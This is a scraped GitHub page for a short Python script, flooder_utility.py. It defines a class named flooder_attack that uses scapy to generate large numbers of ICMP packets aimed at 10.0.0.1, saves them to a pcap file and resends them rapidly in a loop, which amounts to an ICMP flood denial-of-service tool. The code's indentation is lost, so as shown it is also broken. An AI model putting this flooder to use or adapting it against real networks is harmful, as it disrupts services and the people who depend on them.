-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathflooder_utility.py
35 lines (24 loc) · 967 Bytes
/
flooder_utility.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#! /usr/bin/env python3
from scapy.all import IP, ICMP, wrpcap, rdpcap, sendpfast
class flooder_attack(object):
def generator(self, n, filename):
time = 0.00114108 * n + 0.157758
minutes = time/60
print('Generating packets, it will take %s seconds, moreless (%s, minutes)' % (time, minutes))
pkgs = [IP(dst='10.0.0.1')/ICMP() for i in range(n)]
wrpcap(filename, pkgs)
print('%s packets generated.' % (n))
def flooder(self, n, filename):
print('Reading pcap file.')
pkgs = rdpcap(filename)
for i in range(n):
print('Sending %s packets.' % (len(pkgs)))
sendpfast(pkgs)
print('Done, part %s of %s' % ((i + 1), n))
def __init__(self, number, generator, filename):
print('Initializing')
if generator is True:
self.generator(number, filename)
else:
self.flooder(number, filename)
exit()